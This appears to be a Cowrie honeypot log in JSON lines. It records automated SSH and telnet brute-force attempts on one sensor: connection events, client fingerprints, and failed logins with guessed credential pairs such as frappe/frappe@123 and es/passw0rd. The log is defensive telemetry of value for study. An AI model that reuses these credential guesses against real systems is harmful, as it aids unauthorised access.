{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57579,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca61ad237c8","protocol":"ssh","message":"New connection: 89.144.211.139:57579 (159.203.135.109:22) [session: 5ca61ad237c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:59.251440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:59.256130Z","src_ip":"89.144.211.139","session":"5ca61ad237c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:59.390194Z","src_ip":"89.144.211.139","session":"5ca61ad237c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cssserver","password":"css","message":"login attempt [cssserver/css] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:47:59.951480Z","src_ip":"89.144.211.139","session":"5ca61ad237c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59732,"dst_ip":"159.203.135.109","dst_port":22,"session":"77f5c12e991b","protocol":"ssh","message":"New connection: 172.237.20.62:59732 (159.203.135.109:22) [session: 77f5c12e991b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:00.043204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:00.049158Z","src_ip":"172.237.20.62","session":"77f5c12e991b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:00.211214Z","src_ip":"172.237.20.62","session":"77f5c12e991b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:00.696495Z","src_ip":"172.237.20.62","session":"77f5c12e991b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:01.092632Z","src_ip":"89.144.211.139","session":"5ca61ad237c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:01.869658Z","src_ip":"172.237.20.62","session":"77f5c12e991b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":33254,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a68c701356","protocol":"telnet","message":"New connection: 198.27.76.181:33254 (10.17.0.5:23) [session: b7a68c701356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:08.934867Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57354,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d31cff774dc","protocol":"ssh","message":"New connection: 172.237.20.62:57354 (159.203.135.109:22) [session: 9d31cff774dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:11.108896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:11.114082Z","src_ip":"172.237.20.62","session":"9d31cff774dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:11.277324Z","src_ip":"172.237.20.62","session":"9d31cff774dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:11.985007Z","src_ip":"172.237.20.62","session":"9d31cff774dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:13.151405Z","src_ip":"172.237.20.62","session":"9d31cff774dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43942,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b50cfabe47","protocol":"ssh","message":"New connection: 172.237.20.62:43942 (159.203.135.109:22) [session: e3b50cfabe47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:22.287242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:22.291456Z","src_ip":"172.237.20.62","session":"e3b50cfabe47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:22.454490Z","src_ip":"172.237.20.62","session":"e3b50cfabe47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:22.946558Z","src_ip":"172.237.20.62","session":"e3b50cfabe47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:24.153908Z","src_ip":"172.237.20.62","session":"e3b50cfabe47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39822,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e79b96781c","protocol":"ssh","message":"New connection: 172.237.20.62:39822 (159.203.135.109:22) [session: e6e79b96781c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:33.483454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:33.488616Z","src_ip":"172.237.20.62","session":"e6e79b96781c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:33.649824Z","src_ip":"172.237.20.62","session":"e6e79b96781c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:34.342298Z","src_ip":"172.237.20.62","session":"e6e79b96781c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:35.509885Z","src_ip":"172.237.20.62","session":"e6e79b96781c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47386,"dst_ip":"159.203.135.109","dst_port":22,"session":"e00118b857fe","protocol":"ssh","message":"New connection: 172.237.20.62:47386 (159.203.135.109:22) [session: e00118b857fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:44.513927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:44.519087Z","src_ip":"172.237.20.62","session":"e00118b857fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:44.681134Z","src_ip":"172.237.20.62","session":"e00118b857fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:45.158702Z","src_ip":"172.237.20.62","session":"e00118b857fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:46.321537Z","src_ip":"172.237.20.62","session":"e00118b857fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.60651206970215,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:49.541223Z","src_ip":"198.27.76.181","session":"b7a68c701356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41274,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d9418030dee","protocol":"ssh","message":"New connection: 172.237.20.62:41274 (159.203.135.109:22) [session: 8d9418030dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:55.317542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:55.323170Z","src_ip":"172.237.20.62","session":"8d9418030dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:55.486238Z","src_ip":"172.237.20.62","session":"8d9418030dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:56.011058Z","src_ip":"172.237.20.62","session":"8d9418030dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:48:57.176367Z","src_ip":"172.237.20.62","session":"8d9418030dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57580,"dst_ip":"159.203.135.109","dst_port":22,"session":"640eaa27e393","protocol":"ssh","message":"New connection: 89.144.211.139:57580 (159.203.135.109:22) [session: 640eaa27e393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:02.596958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:02.605629Z","src_ip":"89.144.211.139","session":"640eaa27e393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:02.742366Z","src_ip":"89.144.211.139","session":"640eaa27e393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"passw0rd","message":"login attempt [es/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:03.295922Z","src_ip":"89.144.211.139","session":"640eaa27e393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:04.429097Z","src_ip":"89.144.211.139","session":"640eaa27e393","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36792,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d982ec3add","protocol":"ssh","message":"New connection: 172.237.20.62:36792 (159.203.135.109:22) [session: 92d982ec3add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:06.240871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:49:06.246072Z","src_ip":"172.237.20.62","session":"92d982ec3add","protocol":"ssh"}
